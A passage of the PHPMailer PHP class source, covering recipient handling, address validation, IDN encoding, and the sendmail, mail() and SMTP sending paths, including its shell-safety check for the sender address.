    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
                $this->all_recipients[strtolower($address)] = true;
                return true;
            }
        } else {
            if (!array_key_exists(strtolower($address), $this->ReplyTo)) {
                $this->ReplyTo[strtolower($address)] = array($address, $name);
                return true;
            }
        }
        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     * @param string $addrstr The address list string
     * @param bool $useimap Whether to use the IMAP extension to parse the list
     * @return array
     * @link http://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     */
    public function parseAddresses($addrstr, $useimap = true)
    {
        $addresses = array();
        if ($useimap and function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            foreach ($list as $address) {
                if ($address->host != '.SYNTAX-ERROR.') {
                    if ($this->validateAddress($address->mailbox . '@' . $address->host)) {
                        $addresses[] = array(
                            'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                            'address' => $address->mailbox . '@' . $address->host
                        );
                    }
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if ($this->validateAddress($address)) {
                        $addresses[] = array(
                            'name' => '',
                            'address' => $address
                        );
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    if ($this->validateAddress($email)) {
                        $addresses[] = array(
                            'name' => trim(str_replace(array('"', "'"), '', $name)),
                            'address' => $email
                        );
                    }
                }
            }
        }
        return $addresses;
    }

    /**
     * Sets message type to HTML or plain.
     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
